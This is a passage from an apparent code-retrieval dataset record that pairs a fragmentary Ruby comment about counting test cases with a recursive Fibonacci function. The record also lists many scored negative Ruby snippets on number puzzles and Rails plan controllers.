?', Date.parse(params[:start_date])) if params[:start_date].present?\n plans = plans.where('plans.created_at <= ?', Date.parse(params[:end_date])) if params[:end_date].present?\n count = roles.joins(:user, :plan).merge(users).merge(plans).select(:plan_id).distinct.count\n render(json: { created_plans: count })\n end\n end", "def all_p_bam\n plan = Plan.select('id, name').where('plan_type = ? AND item= ?', 'plan', 'bam')\n # Format to show in view\n plans = plan.map { |m| [m.name, m.name] }\n return plans\n end", "def viewed_plan(pln)\r\n #MES- Is the plan on the planner?\r\n if plans.include?(pln)\r\n plans.update_attributes(pln, :viewed_at => Time.now_utc)\r\n end\r\n end", "def plan_params plan\n {\n name: plan.name,\n plan_id: plan.id,\n status: plan.status,\n chargebee_data: {\n price: plan.price,\n period: plan.period,\n period_unit: plan.period_unit,\n trial_period: plan.trial_period,\n trial_period_unit: plan.trial_period_unit,\n charge_model: plan.charge_model,\n free_quantity: plan.free_quantity\n }\n }\n end", "def index\n @plans = Plan.where(search_params)\n @areaname = Area.find(search_params[:area_id]).name\n end", "def index\n\n @goals = Goal.by_person_as_student(current_user.person)\n @goals = @goals.by_plan(params[:plan_id]) if params[:plan_id].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end", "def index\n @planif_records = current_user.planif_records.all\n end", "def active_plans\n self.plans.includes(:template).where(\"roles.active\": true).where(Role.not_reviewer_condition)\n end", "def show\n @comment = @plan.comments.new\n @comments = @plan.comments\n end", "def retrievePlan(_planId)\n result = ChargeBee::Plan.retrieve(_planId)\n return result.plan\n end", "def retrievePlan(_planId)\n result = ChargeBee::Plan.retrieve(_planId)\n return result.plan\n end", "def index\n @floor_plans = @location.floor_plans\n end", "def index\n @ad_plans = AdPlan.all\n \n end", "def application_plans\n manager_instance(ApplicationPlanManager)\n end", "def plans\n result = []\n self.books.each do |book|\n book.plans.each do |plan|\n result << plan\n end\n end\n\n result\n end", "def show\n @panel_plan = Panel::Plan.find(params[:id])\n @features = Panel::Planfeature.where(:panel_plan_id => params[:id]).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def index\n authorize Plan\n @plans = Plan.includes(:roles).active(current_user).page(1)\n @organisationally_or_publicly_visible = if current_user.org.is_other?\n []\n else\n Plan.organisationally_or_publicly_visible(current_user).page(1)\n end\n # TODO: Is this still used? We cannot switch this to use the :plan_params\n # strong params because any calls that do not include `plan` in the\n # query string will fail\n @template = Template.find(params[:plan][:template_id]) if params[:plan].present?\n end", "def index\n @meeting_plans = MeetingPlan.all\n end", "def index\n @actual_action_plans = ActualActionPlan.all\n end" ]
[ "0.67854494", "0.67136645", "0.6692716", "0.6522466", "0.6518946", "0.6517832", "0.6485681", "0.64851904", "0.6479769", "0.6475497", "0.6392841", "0.6374766", "0.6337635", "0.6333199", "0.6333199", "0.6270192", "0.6261508", "0.6203419", "0.617966", "0.61620694", "0.6158879", "0.61412174", "0.6135788", "0.6092024", "0.60877717", "0.60839057", "0.6076431", "0.6075206", "0.60609835", "0.605595", "0.6050814", "0.6048735", "0.6012524", "0.6001195", "0.5997344", "0.5995588", "0.5992395", "0.5991422", "0.5981716", "0.5972863", "0.5969304", "0.5969304", "0.5969304", "0.59692216", "0.5960527", "0.59556466", "0.59526783", "0.5946809", "0.59394103", "0.59338427", "0.59137654", "0.5910412", "0.5898183", "0.58720124", "0.5861928", "0.58573717", "0.5852049", "0.58507764", "0.5849255", "0.58423805", "0.5838635", "0.5835832", "0.583362", "0.5833144", "0.5831704", "0.581821", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.58176875", "0.581469", "0.5810284", "0.5807961", "0.5790763", "0.57872117", "0.57822585", "0.57820255", "0.57730013", "0.577026", "0.5764992", "0.57630676", "0.57630676", "0.5753195", "0.57460797", "0.5741357", "0.57276404", "0.57246715", "0.57244253", "0.57242286", "0.5722742" ]
0.6230956
17
raise "invalid argument" if (!test_cases.is_a? Integer and test_cases >= 0 and test_cases > 99999) count = 0 cases = [] while counter =0 and n > 40000000000000000) cases << n counter += 1 end
def fib(n) return n if (0..1).include? n fib(n-1) + fib(n-2) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def simber_count(n)\n lower_range = 10**(n - 1)\n upper_range = (10**n) - 1\n count = 0\n (lower_range..upper_range).each do |i|\n count += 1 if simber_check(i)\n end\n count\nend", "def generatePossibleCombinationsCount(low, high)\n count = 0\n for number in (low..high)\n count += 1 if testNumber(number)\n end\n count\nend", "def generateNumCases \n time1 = Time.now # used for test\n time11 = Time.new # used for test\n puts time1# used for test\n\n\t while !isEmptyOfUC do\n tmprecords=Records.new #new a Record used for store the results\n getMostOccur #get the most occur store in @maxparam and @maxelement\n for i in 0...@maxloopnum do #generate @maxloopnum records and later will random select one\n\n \n\n recorde = generateCase\n if(recorde !=-1)\n tmprecords.recordsArr << recorde\n end\n end\n flag = getMostCover tmprecords\n @records.recordsArr << tmprecords.recordsArr[flag]\n updateUC tmprecords.recordsArr[flag]\n tmprecords.recordsArr.clear\n end\n \n #puts 'list:'\n outputcase \n #print'total number:'\n #puts @records.recordsArr.length\n\n #puts \"start time\" #design for test start\n #puts time11\n time22 = Time.new\n #puts \"end time\"\n \n #puts time22\n time2 = Time.now\n puts time2-time1 #design for test end\n @usetime = time2-time1\n end", "def test\n\n puts \"Performing test tasks:\"\n\n puts \"Test 1 \" + (generate_intcode([1, 0, 0, 0, 99]) === [2, 0, 0, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 2 \" + (generate_intcode([2, 3, 0, 3, 99]) === [2, 3, 0, 6, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 3 \" + (generate_intcode([2, 4, 4, 5, 99, 0]) === [2, 4, 4, 5, 99, 9801] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 4 \" + (generate_intcode([1, 1, 1, 4, 99, 5, 6, 0, 99]) === [30, 1, 1, 4, 2, 5, 6, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n\nend", "def solution(n)\n array = Array.new\n (1..n).each do\n array.push(0)\n end\n while (array.length >= 16)\n (1..16).each do\n array.pop\n end \n end\n array.length\nend", "def featured(n)\n n += 1\n n += 1 until n % 7 == 0 && n.odd?\n loop do\n break if n.to_s.chars.uniq.join == n.to_s\n n += 14\n if n > 9876543210\n puts \"There is no possible number that fulfills those requirements\"\n return nil\n end\n end\n n\nend", "def zeros(n)\n count_zero = 0\n i = 1\n while n / (5**i) > 0\n count_zero += n / (5**i)\n i += 1\n end\n count_zero\nend", "def get_test_cases()\n test_cases = []\n test_cases.push(\"\"\"\n X|X|O|O|X|X|*\n O|O|X|O|X|O|X\n X|O|O|X|O|X|O\n O|O|X|X|X|O|X\n X|X|O|O|X|O|O\n O|O|X|X|O|X|X\n \"\"\")\n test_cases.push(\"\"\"\n X|X|O|O|X|X|*\n O|O|X|O|X|O|X\n X|O|O|X|O|X|O\n O|O|X|X|X|O|X\n X|X|O|O|X|O|O\n O|O|X|X|O|X|X\n \"\"\")\n test_cases.push(\"\"\"\n X|X|X|O|X|O|*\n X|O|O|O|X|O|X\n X|O|O|X|O|X|O\n O|O|X|X|X|O|X\n X|X|O|O|X|O|X\n O|O|X|X|O|X|X\n \"\"\"\n )\n test_cases.push(\"\"\"\n *|*|*|*|*|*|*\n *|*|*|*|*|*|*\n *|*|X|*|*|*|*\n *|O|X|*|*|*|X\n O|O|O|O|*|*|X\n O|O|X|X|X|O|X\n \"\"\")\n test_cases.push(\"\"\"\n *|*|*|*|*|*|*\n O|X|*|*|*|*|*\n X|X|*|O|*|*|O\n O|X|*|O|*|*|X\n X|O|X|X|*|O|O\n X|O|O|X|*|O|X\n \"\"\")\n test_cases.push(\"\"\"\n *|*|*|*|*|*|*\n *|*|*|*|*|*|*\n *|*|*|*|*|*|*\n X|*|*|*|*|*|*\n X|*|*|*|*|*|*\n X|*|O|O|O|O|*\n \"\"\")\n\n return test_cases\n\n end", "def problem1 limit\n (0...limit).map {|n| (n%3==0 || n%5==0) ? n : 0 }.reduce(:+)\nend", "def count_bits(n)\n # TODO: Program me\n result_arr = []\n\n while n > 0 do \n result_arr << n % 2\n n /= 2\n end\n result_arr.select { |i| i == 1 }.count\nend", "def bits_war(numbers)\nevens = numbers.select {|x| x % 2 == 0 && x > 0 } \nodds = numbers.select {|x| x % 2 != 0 && x > 0 } \nneg_evens = numbers.select {|x| x % 2 == 0 && x < 0 } \nneg_odds = numbers.select {|x| x % 2 != 0 && x < 0 } \n\nones_odds = 0 \nones_evens = 0 \n\nevens.each do |convert_and_count| \nones_evens += convert_and_count.to_s(2).scan(/1/).count\nend \n\nneg_evens.each do |convert_and_count| \nones_evens -= convert_and_count.to_s(2).scan(/1/).count\nend \n\nodds.each do |convert_and_count| \nones_odds += convert_and_count.to_s(2).scan(/1/).count\nend \n\nneg_odds.each do |convert_and_count| \nones_odds -= convert_and_count.to_s(2).scan(/1/).count\nend \n\nif ones_evens > ones_odds\nreturn \"evens win\"\nelsif ones_evens < ones_odds\nreturn \"odds win\"\nelse \nreturn \"tie\"\nend \n\nend", "def count_bits(n)\n a = n.to_s(2).count '1'\n p \"answer for count_bits of #{n} is #{a}\"\nend", "def zerosInFactorial(n)\n\tzero_counter = 0\n\tindex = 0\n\n\tuntil n < 5**index\n\t\tindex += 1\n\t\tzero_counter += (n / (5**index))\n\tend\n\n\tputs \"There are #{zero_counter} zero(s) at the end of #{n}!\"\nend", "def hard(input)\n to = input / 10\n houses = Array.new(to, 0)\n (1..to).each do |n|\n count = 0\n n.step(by: n, to: to - 1) do |i|\n houses[i] += 11 * n\n count += 1\n break if count == 50\n end\n end\n houses.index { |count| count >= input }\nend", "def series_up(x)\nbignum = 1\ncount = 1 #made it one beacsue when it was 0 it only printed the number - 1\nlist = [] # changed it to list so i dont get confused\n x.times do #loop in a loop \n count = 1 #It resets it to one so it follows the pattern\n while count <= bignum #while count is less than or equal too this loop will keep on going\n list.push(count) #pushes count into the list\n count = count + 1 #making count equal to count + 1. So if count is 2, it will come out as 3\n end\n bignum = bignum + 1 #setting big number so the loop keeps on going\n end\n return list #when the loop is over it takes the list and prints it\nend", "def count_bits(n)\n # TODO: Program me\n bits = []\n while n >= 1\n\n if n % 2 == 1\n bits.unshift(1)\n end\n \n n /= 2\n end\n bits.length\nend", "def multisum(limit)\n nums = []\n 1.upto(limit) { |num| nums << num if (num % 3 == 0 || num % 5 == 0)}\n nums.sum\nend", "def convert_bug_count(count)\n case count\n when (7..40)\n return \"Critical\"\n when (5..6)\n return \"High\"\n when (3..4)\n return \"Medium\"\n when (1..2)\n return \"Low\"\n when 0\n return \"Done\"\n end\nend", "def zeros(n)\n count = 0\n i = 5\n\n while (n/i >= 1)\n count += (n/i).to_i\n i *= 5\n end\n\n return count.to_i\nend", "def zeros(n)\n if n.zero? == true\n puts \"the number is zero\"\n return n\n else\n factrl = (1..n).inject(:*)\n factrl = factrl.to_s.chars.map(&:to_i)\n\n count = 0\n count2 = 0\n ft = factrl.each do |ft|\n count2 += ft\n end\n\n puts count2\n if count2 >= 1\n factrl.reverse_each do |fact|\n break if count2.zero?\n if fact.to_i == 0\n count += 1\n elsif fact.to_i > 0\n break\n end\n end\n end\n end\n\n return count\nend", "def nb_dig(n, d)\n #create an array of sqaures from d up to and including n\n numbers = (d..n).to_a\n #issue was here: should've made the range 0..n instead of d..n\n squares = numbers.map do |num|\n num * num\n end\n #for each square...\n count = 0\n binding.pry\n squares.each do |square|\n #count and add to a tally if d is present\n count += square.to_s.count(d.to_s)\n end\n #turn it into a string\n #return the tally\n count\nend", "def persistence(n)\n count = 0\n while n > 9 do\n n = n.digits.inject(:*)\n count += 1\n end\n count\nend", "def solve( maxValue )\n\n return if maxValue < 1\n\n sum = 0;\n count = 1;\n while count < maxValue\n sum += count if count % 3 == 0 or count % 5 == 0\n count += 1\n end\n puts sum\nend", "def number_counting_seq(n)\r\n\r\nend", "def inmj\n result = 0\n (1..9).each do |base|\n exponent = 1\n while (intGetLengthInt(base ** exponent) == exponent)\n result += 1\n exponent += 1\n end\n end\n result\nend", "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend", "def digit_factorials\n max = biggest_possible_digit_factorial\n results = []\n \n test_number = 10\n \n while test_number <= max\n results << test_number if is_curious?(test_number)\n test_number += 1\n end\n \n print results\n results.inject(:+)\nend", "def zeros(n)\n c, zeros = 0, 0\n loop do\n c += 1\n power_term = n / 5**c\n break if power_term == 0\n zeros += power_term\n end\n zeros\nend", "def counting(limit) # this method receives an integer argument and returns an array\n numbers = []\n if limit.is_a?(Integer)\n count = 0\n while count < limit\n numbers << count\n count += 1\n end\n end \n numbers\nend", "def featured(number)\n sum = 7\n loop do \n return \"There is no possible number that fulfills those requirements\" if number >= 9_876_543_210\n if sum <= number\n sum += 7\n elsif sum.even?\n sum += 7\n elsif sum.digits.uniq != sum.digits\n sum += 7\n else\n break\n end\n end\n sum\nend", "def count_bits(n)\n return 0 if n == 0\n return 1 if n == 1\n return count_bits(n/2) + n%2\nend", "def count_bits(n)\nn = n.to_s(2)\nn = n.split(\"\")\nn = n.map{|x| x.to_i}\nn.inject(:+)\nend", "def featured(integer)\n return \"Error: There is no possible number that fulfills those requirements\" if integer >= 9_876_543_210\n counter = integer + 1\n counter += 1 until counter % 7 == 0 && counter.odd?\n \n loop do\n return counter if counter.digits.uniq.size == counter.digits.size\n counter += 14\n end\nend", "def number_of_cases\n case_numbers.split(',').size + 1\n end", "def run_tests\n check_solution(1, (100..200).to_a, 135, 35)\n check_solution(2, [13, 19, 24, 29, 32, 37, 43], 35, -1)\nend", "def busqueda6\n 9899.step(999999999999999999999,9899){|x|break (x) unless (p x).to_s =~ /[^0-2]/}\nend", "def persistence(n, count = 0)\n return count if n < 10\n i = 0\n arr = n.to_s.split('')\n if arr.length > 1\n tot = arr.map(&:to_i).inject(:*)\n i += 1\n count += 1\n tot.to_i >= 10 ? persistence(tot.to_i, count) : count\n end\nend", "def solution(x, a)\r\n # write your code in Ruby 2.2\r\n arr=[];\r\n i=0;\r\n l=a.count\r\n \r\n while(arr.count<=x)\r\n \r\n if(arr[i].nil?)\r\n arr << i\r\n end\r\n \r\n i+=1\r\n end\r\n i\r\nend", "def basic_8 (array_iterate, eval_int)\n total = 0\n array_iterate.each { |n| total += 1 if n > eval_int}\n return total\nend", "def count_bits(n)\r\n n.to_s(2).count \"1\"\r\nend", "def number_of_cases\n fee_quantity_for('BANOC') + 1\n end", "def countup(num)\n (1..num).to_a\nend", "def count_bits(n)\n n.to_s(2).count \"1\"\nend", "def aboveOneMillionCount(num)\n idx = (1..num/2).to_a.index &->(r){combinator(num,r) > 10**6}\n return 0 unless idx\n lower = (idx + 1)\n upper = num - lower # has same combinator with lower\n upper - lower + 1 # \nend", "def p_triplets(max)\n test = []\n for a in 1..max do\n for b in a..max do\n for c in b..max do\n if a**2 + b**2 == c**2 && a + b + c == 1000\n puts \"a:#{a} b:#{b} c:#{c} \"\n return a*b*c\n end\n end\n end\n\n end\n return test.length\nend", "def magic_numbers(count)\nend", "def _test_numbers ; process_test_case(\"numbers\") ; end", "def count_bits(n)\r\n # TODO: Program me\r\n binary_array = []\r\n while n >= 2\r\n reminder = n % 2\r\n binary_array.unshift(reminder)\r\n n = n / 2\r\n end\r\n binary_array.unshift(n)\r\n \r\n sum = 0\r\n binary_array.each do |num|\r\n if num == 1\r\n sum += 1\r\n end\r\n end\r\n\r\n return sum\r\nend", "def count_by(x, n)\n a=[]\n y=0\n n.times {y+=x; a<<y}\n a\nend", "def generate_number_str(number,and_flag)\n if number == 0\n \"\"\n elsif int_strings.has_key?(number)\n (number < 99) ? int_strings[number] : \"one #{int_strings[number]}\"\n elsif number < 100\n fetch_number_strings(number,10,and_flag,and_flag)\n elsif number < 1000\n fetch_number_strings(number,100,and_flag)\n elsif number < @million\n fetch_number_strings(number,1000,and_flag)\n elsif number < @billion\n fetch_number_strings(number, @million,and_flag)\n elsif number < @trillion\n fetch_number_strings(number,@billion,and_flag)\n elsif number < @quadrillion\n fetch_number_strings(number,@trillion,and_flag)\n elsif number < @quintillion\n fetch_number_strings(number,@quadrillion,and_flag)\n elsif number < @sextillion\n fetch_number_strings(number,@quintillion,and_flag)\n elsif number < @septillion\n fetch_number_strings(number,@sextillion,and_flag)\n elsif number < @octillion\n fetch_number_strings(number,@septillion,and_flag)\n elsif number < @nonillion\n fetch_number_strings(number,@octillion,and_flag)\n elsif number < @decillion\n fetch_number_strings(number,@nonillion,and_flag)\n elsif number < @undecillion\n fetch_number_strings(number,@decillion,and_flag)\n elsif number < @duodecillion\n fetch_number_strings(number,@undecillion,and_flag)\n elsif number < @tredecillion\n fetch_number_strings(number,@duodecillion,and_flag)\n elsif number < @quattuordecillion\n fetch_number_strings(number,@tredecillion,and_flag)\n elsif number < @quindecillion\n fetch_number_strings(number,@quattuordecillion,and_flag)\n elsif number < @sexdecillion\n fetch_number_strings(number,@quindecillion,and_flag)\n elsif number < @septendecillion\n fetch_number_strings(number,@sexdecillion,and_flag)\n elsif number < @octodecillion\n fetch_number_strings(number,@septendecillion,and_flag)\n elsif number < @novemdecillion\n fetch_number_strings(number,@octodecillion,and_flag)\n elsif number < @vigintillion\n fetch_number_strings(number,@novemdecillion,and_flag)\n elsif number < @centillion\n fetch_number_strings(number,@vigintillion,and_flag)\n elsif number < @centillion * 1000 #no word for this number :)\n fetch_number_strings(number,@centillion,and_flag)\n else\n puts \"Error! Could not handle this number\"\n 0\n end\n end", "def count_1s n\n count = 0\n while n > 0\n # tricks: if n&(n-1) == 0(decimal form), n is 0 or power of 2.\n n = n&(n-1)\n count += 1\n end\n count\nend", "def crazy_nums(max)\n nums = [] # store result\n i = 0\n count = 0\n \n while i < max\n if(i % 3 == 0) && (i % 5 == 0)\n \n elsif (i % 3 == 0) || (i % 5 == 0)\n nums[count] = i\n count = count + 1\n end\n i = i + 1\n end\n return nums \nend", "def solution\n (2..(9**5 * 6)).select do |n|\n n.to_s.split(//).map do |d|\n d.to_i ** 5\n end.reduce(:+) == n\n end.reduce(:+)\nend", "def zero_in_factorial(n)\n arr = Array.new(n) {|index| index + 1}\n print \"number of 0s in factorial #{n} is: #{rec(arr)}\\n\"\nend", "def featured(num)\n num += 1\n num += 1 until num.odd? && (num % 7).zero?\n loop do\n return num if num.to_s.chars.size == num.to_s.chars.uniq.size\n num += 14\n break if num > 9_876_543_210\n end\n 'There is no possible number that fulfills those requirements'\nend", "def count_bits(n)\n n.to_s(2).count(\"1\")\nend", "def featured(int)\n int += 1\n int += 1 until int % 7 == 0 && int.odd?\n \n loop do\n double_check = int.to_s.split(\"\")\n if double_check.uniq == double_check\n return int\n else\n int += 14\n end \n break if int >= 9_876_543_210 \n end\n \"There is no possible number that fulfills those requirements\"\nend", "def solution(digits)\n result = 0\n digits.size.times do |n|\n new_number = digits[n...(n + 5)].to_i\n result = new_number if new_number > result\n end\n result\nend", "def power_of_4(number)\np number\n i = 0\np number.class\n if number.class == Integer || Fixnum && number != 0 && number.class != String && number >= 1\n while 4**i <= number\n if 4**i == number\n x = true\n else x = false\n end\n i = i + 1\n end\n p x\n else p false\n end\n\n\n\n # best practice\n def power_of_4(n)\n n.is_a?(Integer) && n>0 ? Math.log(n, 4) % 1 == 0 : false\nend", "def solution(n)\n # write your code in Ruby 2.2\n bin = n.to_s(2)\n return 0 unless bin =~ /0/i\n\n max = 0\n count = 0\n\n bin.each_char do |s|\n if s == '1'\n max = count if count > max\n count = 0\n else\n count += 1\n end\n end\n\n return max\nend", "def count_bits(n)\n n.to_s(2).count('1')\nend", "def count_bits(n)\n n.to_s(2).count('1')\nend", "def featured(int)\n for num in (int + 1...9_999_999_999) \n return num if num.odd? && num % 7 == 0 && num.digits == num.digits.uniq\n end\n \"There is no possible number that fulfills those requirements\"\nend", "def generate_check_digit(odd_sum, even_sum); end", "def checkTriangleNum(limit)\n\tnum = [1]\n\tcount = 1\n\tmultiples = 1\n\n\tuntil multiples > limit\n\t\ttriangle_num = num.inject(:+)\n\t\tmultiples = findMultiples(triangle_num)\n\n\t\tif multiples <= limit\n\t\t\tcount += 1\n\t\t\tnum << count\n\t\tend\n\tend\n\ttriangle_num\nend", "def featured(integer)\n count = 0\n\n loop do \n break if count >= 9_999_999_999\n count += 7\n if count.odd? && count % 7 == 0 && count.digits.uniq == count.digits && count > integer\n return count\n end\n end\n \"There is no possible number that fulfills those requirements.\"\nend", "def process n\n i = 1\n while (2**i <= n)\n i += 1\n end\n n == 2**(i-1)\nend", "def is_happy(n)\n i = 0\n r = false\n destination = []\n while r == false\n n.to_s.split(\"\").each do |x|\n destination << ((x.to_i * x.to_i))\n end\n i = i + 1\n n = destination.inject(&:+)\n r = true if n == 1\n destination = []\n break if i == 1000\n end\n if r == true\n p r\n else\n p false\n end\nend", "def process_range\n for_store_number = []\n num1 = 0\n num2 = 1\n num3 = 0\n loop do\n num3 = num1 + num2\n break if num3 > 4_000_000\n\n for_store_number.push num3 if num3.even?\n num1 = num2\n num2 = num3\n end\n sum = addition(for_store_number)\nend", "def solution(number)\n return 0 if number < 3\n result = 0\n count = 3\n \n until count > number\n if count % 3 == 0 || count % 5 == 0\n result += count \n end\n count += 1\n end\n \n result\nend", "def magic_numbers(count)\n num = 1\n result = []\n while result.length < count\n result << num if is_magic_number?(num)\n num += 1\n end\n result\nend", "def get_valid_digit_count\n return {\n 1 => 1,\n 2 => 1,\n 3 => 1,\n 4 => 1,\n 5 => 1,\n 6 => 1,\n 7 => 1,\n 8 => 1,\n 9 => 1,\n }\nend", "def final_chain_num(n)\n while n != 1 and n != 89\n n = sum_squares_of_digit(n)\n end\n n\nend", "def solution(number)\r\n (3...number).each_with_object([]) { |n, arr| arr << n if (n % 3).zero? || (n % 5).zero? }.uniq.sum\r\nend", "def try_two\n (5000..9999).map do |n|\n concat_product(n, 2)\n end.select {|cp| pandigital cp }\nend", "def number_trailing_zeros_optimised n\n arr= (5..n).step(5)\n number_of_elements = arr.size\n counter = number_of_elements\n while number_of_elements/5>=1\n number_of_elements = number_of_elements / 5 \n counter += number_of_elements\n end\n return counter\nend", "def featured(number)\n featured = 0\n loop do \n number += 1\n if number % 7 == 0 &&\n number.odd? &&\n number.to_s.length == number.to_s.chars.uniq.length\n featured = number\n break\n end\n if number.to_s.length > 10\n puts \"Invalid\"\n featured = 0\n break\n end\n end\n featured\nend", "def adjust_ones_count(base_two_num, ones_count) #'10100100', 4\n base_ten_num = base_tenify(base_two_num)\n if base_two_num.count('1') < ones_count\n add_ones(base_two_num, ones_count)\n elsif base_two_num.count('1') > ones_count\n subtract_ones(base_two_num, ones_count)\n end\nend", "def sum(n=16) end", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def twelve\n iter = 1\n trinum_temp = 0\n begin\n factors = count_factors(trinum_temp = (trinum(iter)))\n iter = iter + 1\n\n end until factors > 200\n\n return trinum_temp\nend", "def solution(n)\n\tval = 0.0\n\tval += 1.0 unless n[0].zero?\n\tval += 2.0 unless n[1].zero?\n\tval += 4.0 unless n[2].zero?\n\tval += 8.0 unless n[3].zero?\n val\n\t\nend", "def count_up(number)\n (1..number).to_a\nend", "def monkey_count(n)\n str = []\n i = 1\n while i <= n\n str.push(i)\n i += 1\n end\n return str\nend", "def solution(number)\n return (0...number).select{ |x| ((x % 3 == 0) || (x % 5 == 0))}.reduce(:+)\nend", "def _reduce_501(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend", "def _reduce_501(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend", "def _reduce_501(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend", "def _reduce_501(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend", "def solve(range)\n valid_passwords = range.filter do |n|\n never_decrease?(n) && any_adj_group(n) { |grp| yield grp }\n end\n valid_passwords.count\nend", "def solution(number)\n(0...number).map{|x| x % 3 == 0 || x % 5 == 0 ? x : 0}.inject{|sum, x| sum + x}\nend", "def findFiveHundred(numberOfFactors)\n count = 1\n triangleNumber = 0\n factors = 0;\n while(factors <= numberOfFactors)\n triangleNumber = triangleNumber + count\n factors = countFactors(triangleNumber)\n\n if(factors > numberOfFactors)\n return triangleNumber\n end\n count += 1\n end\n\n\nend", "def f(n)\n return (1..n).sum if n.positive? and n.integer?\n return false\n # insert your code here.... and go crazy!\nend", "def solution(n, a)\n counters = Array.new(n, 0)\n max = 0\n a.each do |item|\n if item >= 1 && item <= n\n counters[item - 1] += 1\n max = counters[item - 1] if counters[item - 1] > max\n elsif item == n + 1\n counters = Array.new(n, max)\n end\n end\n\n counters\nend", "def digit_factorial_equal(max)\n solutions = []\n (3..max).each do |num|\n solutions << num if num == digit_factorial_sum(num)\n end\n puts solutions.inject(:+)\nend", "def generate(n=3, black_list=[])\n (0..9).to_a.\n repeated_permutation(n).\n select { |xs| valid?(xs, black_list) }.\n map(&:join).\n map(&:to_i)\nend", "def comb_select()\r\n\tmin_runner = 10\r\n\tmax_runner = 100\r\n\tgreater_than = 1000000\r\n\tcounter = 0\r\n\t\r\n\tfor runner in (min_runner..max_runner)\r\n\t\trun_f = factorial(runner)\r\n\t\tmin_select = (runner/4).to_i\r\n\t\tfor selection in (2..runner-1)\r\n\t\t\tdivider = factorial(selection) * factorial(runner - selection)\r\n\t\t\tcounter += 1 if run_f / divider > greater_than\r\n\t\tend\r\n\tend\r\n\treturn counter\r\nend", "def monkey_count(n)\n [*1..n]\nend", "def cube_lesser_then_500(cube_intResult)\n accumulator = []\n c = 0\n for i in 0..cube_intResult.length()-1\n if cube_intResult[i] < 500\n accumulator[c] = Math.cbrt(cube_intResult[i])\n c = c + 1\n end\n end\n return accumulator\nend", "def count_to (n)\n array = []\n count = 0\n while count <= n\n count += 1\n array.push(count.round)\n end\nend", "def how_many_solutions?(a, b, c)\n test = b**2 - 4*a*c\n if test > 0\n 2\n elsif test == 0\n 1\n else\n 0\n end\nend" ]
[ "0.6374789", "0.63725317", "0.6301914", "0.6264777", "0.6207574", "0.60935545", "0.6068085", "0.603498", "0.5992179", "0.59838283", "0.5919989", "0.5858347", "0.58519953", "0.58472663", "0.5815369", "0.58120805", "0.58097696", "0.58052784", "0.57933944", "0.57888865", "0.5778757", "0.57715845", "0.5768049", "0.5733", "0.57153314", "0.5711624", "0.5709104", "0.5704904", "0.5687776", "0.5678633", "0.5672651", "0.5667039", "0.5665758", "0.56625134", "0.5654987", "0.5654857", "0.56509995", "0.5650654", "0.564621", "0.5640359", "0.5625717", "0.562036", "0.56194174", "0.5608912", "0.5605472", "0.560074", "0.5580572", "0.557558", "0.5570787", "0.5568916", "0.5562242", "0.55580974", "0.5554763", "0.55442685", "0.55331755", "0.55300784", "0.5524588", "0.55226666", "0.5513608", "0.55092555", "0.55001146", "0.55001146", "0.5496791", "0.5491963", "0.5487914", "0.54699576", "0.54673934", "0.5460842", "0.5457081", "0.54404753", "0.5428589", "0.54278505", "0.5423407", "0.54181755", "0.54162186", "0.541186", "0.5411231", "0.53958803", "0.5394292", "0.5390141", "0.5388592", "0.5388302", "0.53848416", "0.53837407", "0.53826934", "0.5378713", "0.5378713", "0.5378713", "0.5378713", "0.5375522", "0.5373562", "0.5373477", "0.537115", "0.53692245", "0.53663003", "0.53623027", "0.535745", "0.5355987", "0.5355939", "0.534666", "0.53444743" ]
0.0
-1
calculate the last possible reservation date based on all current price policies associated with this instrument
def last_reserve_date (Time.zone.now.to_date + max_reservation_window.days).to_date end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init_price_policy\n @start_date = start_date_from_params\n\n @price_policy = @product\n .price_policies\n .for_date(@start_date)\n .first\n end", "def last_payment_due_on\n entry = workshop_price.specific_payment_schedule(initial_payments_should_start_on, Date.today)\n entry ? entry[:due_on] : initial_payments_should_start_on.to_date\n end", "def last_payment_on\n payment_histories.try(:last).try(:payment_date)\n end", "def approx_processed_in_vbms_decision_date\n rating_promulgation_date ? rating_promulgation_date.to_date : end_product_last_action_date\n end", "def build_transactions_next_retry_date!\n (transactions || []).each do |transaction|\n # Filter attempts matching that transaction and SCHEDULED for retry\n transaction.next_retry_date = (payment_attempts || []).select do |attempt|\n ((attempt.transaction_id && attempt.transaction_id == transaction.transaction_id) ||\n (attempt.transaction_external_key && attempt.transaction_external_key == transaction.transaction_external_key)) &&\n attempt.state_name == 'SCHEDULED'\n end.map do |attempt|\n attempt.effective_date\n end.first\n end\n end", "def out_of_date\n last_order_detail = self.order_details.order(\"created_at DESC\").first\n last_priced = self.product_prices.order(\"created_at DESC\").first\n\n if last_order_detail.nil?\n last_date = self.updated_at\n else\n last_date = last_order_detail.updated_at\n end\n\n if last_priced.present?\n if last_date < last_priced.created_at\n last_date = last_priced.created_at\n end\n end\n\n return (self.stock <= 0 and last_date < Time.now - 6.months)\n end", "def most_recent_price\n pricing_transactions = transactions.uniq.select{|t| t.dollars && t.shares}\n last_date = pricing_transactions.map{|t| t.date}.max\n pricing_transactions.select{|t| t.date == last_date}.map{|tt| tt.dollars/tt.shares.to_f}.first\n end", "def payment_deadline\n return self.charges.pluck(:created_at).last + 60*60*24*7\n end", "def handle_date\n today = 